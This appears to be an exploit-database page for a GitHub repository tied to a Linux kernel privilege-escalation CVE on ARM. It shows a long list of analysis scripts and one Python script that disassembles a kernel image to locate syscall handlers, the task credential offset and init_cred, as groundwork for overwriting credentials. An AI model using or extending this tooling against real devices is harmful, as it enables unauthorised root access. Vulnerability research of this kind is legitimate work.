Exploit databaseDownload repository ZIP
GH-14fb583d3d1bd2da10251bb1a37b93d6
gitchw/ghostlock-cve-2026-43499
Sources for CVE-2026-43499
170 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files678
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
- ↑..Parent directory
- analyze_copy_funcs.py
- analyze_func2.py
- analyze_select.py
- analyze_stack.py
- analyze_stamps.py
- analyze_stamps2.py
- analyze_syscall.py
- analyze_targets.py
- analyze_vector.py
- bfs_stamp_search.py
- calc_overlap.py
- chain_disasm.txt
- check_288.py
- check_4e8.py
- check_9978.py
- check_adjtimex.py
- check_adjust_call.py
- check_adjust_pi.py
- check_adjust_pi2.py
- check_adjust_prio.py
- check_after_enqueue.py
- check_ashmem_funcs.py
- check_bc24.py
- check_bfi.py
- check_bind_wrapper.py
- check_bitmap.py
- check_bugons.py
- check_caller.py
- check_candidate.py
- check_candidates.py
- check_capable.py
- check_chain2.py
- check_cleanup.py
- check_cleanup2.py
- check_cleanup_funcs.py
- check_code_ptr.py
- check_comm_tail.py
- check_commit_creds.py
- check_config.py
- check_copy_funcs.py
- check_cred_overwrite.py
- check_css_frame.py
- check_dequeue.py
- check_dequeue_funcs.py
- check_e9248_path.py
- check_e9248_path2.py
- check_e9248_safe.py
- check_edeadlk_handler.py
- check_edeadlk_path.py
- check_enqueue_full.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
analysis/find_cred_offset.py
Python · 3,148 bytesimport sys
sys.path.insert(0, 'pylibs')
import struct
from capstone import Cs, CS_ARCH_ARM, CS_MODE_ARM
with open('kernel_raw.bin', 'rb') as f:
data = f.read()
BASE = 0xC0008000
md = Cs(CS_ARCH_ARM, CS_MODE_ARM)
# Find cred offset by looking at common code patterns
# current_cred() is typically: ldr r0, [sb, #0xc]; ldr r0, [r0, #cred_offset]
# Let's search for the pattern in sys_getuid or similar
# First, find sys_getuid in the syscall table
# sys_getuid is syscall 24 (or 199 for getuid32)
# Let's look at the syscall table
systab = 0xc0101264
for sc_num in [24, 199, 200, 201]: # getuid, getuid32, getgid32, geteuid32
addr = struct.unpack('<I', data[systab-BASE+sc_num*4:systab-BASE+sc_num*4+4])[0]
print(f"syscall {sc_num}: 0x{addr:08x}")
if 0xc0000000 <= addr <= 0xc2000000:
code = data[addr-BASE:addr-BASE+0x40]
for ins in md.disasm(code, addr):
print(f' 0x{ins.address:08x}: {ins.mnemonic}\t{ins.op_str}')
if ins.mnemonic.startswith('pop') and 'pc' in ins.op_str:
break
print()
# Also look at commit_creds or prepare_kernel_cred for the cred offset
# Search for "init_cred" string reference
print("=== Searching for init_cred references ===")
# init_cred is a global struct cred. Let's find it by searching for
# the pattern where init_task.cred points to it.
# init_task is at 0xc1b11640. Let's read the first 0x100 bytes and look for
# a pointer to another kernel address that could be init_cred.
init_task = 0xc1b11640
it_off = init_task - BASE
print("init_task pointers (potential cred):")
for off in range(0, 0x700, 4):
val = struct.unpack('<I', data[it_off+off:it_off+off+4])[0]
if 0xc0000000 <= val <= 0xc2000000 and val != init_task:
# Check if it looks like a cred pointer (aligned, in data segment)
if val % 4 == 0 and off < 0x500:
print(f" +0x{off:03x}: 0x{val:08x}")
# The cred pointer is typically near the beginning of task_struct
# Let's check offset 0x2c0 or similar (common in 5.4)
# Also check for init_cred by looking at its content (uid=0, gid=0, etc.)
print("\n=== Looking for init_cred (cred with uid=0,gid=0,euid=0) ===")
# init_cred has usage=2 (or 4), uid=0, gid=0, suid=0, sgid=0, euid=0, egid=0
# Search in BSS/data for this pattern
for addr in range(0xc1b00000, 0xc1c00000, 4):
off = addr - BASE
if off + 0x30 > len(data):
break
usage = struct.unpack('<I', data[off:off+4])[0]
uid = struct.unpack('<I', data[off+4:off+8])[0]
gid = struct.unpack('<I', data[off+8:off+12])[0]
suid = struct.unpack('<I', data[off+12:off+16])[0]
euid = struct.unpack('<I', data[off+20:off+24])[0]
if usage in [2, 3, 4, 0x10002] and uid == 0 and gid == 0 and suid == 0 and euid == 0:
# Check more fields
cap_inh = struct.unpack('<I', data[off+0x18:off+0x1c])[0]
cap_prm = struct.unpack('<I', data[off+0x1c:off+0x20])[0]
cap_eff = struct.unpack('<I', data[off+0x20:off+0x24])[0]
if cap_eff == 0xffffffff or cap_prm == 0xffffffff:
print(f" Possible init_cred at 0x{addr:08x}: usage={usage}, cap_eff=0x{cap_eff:08x}")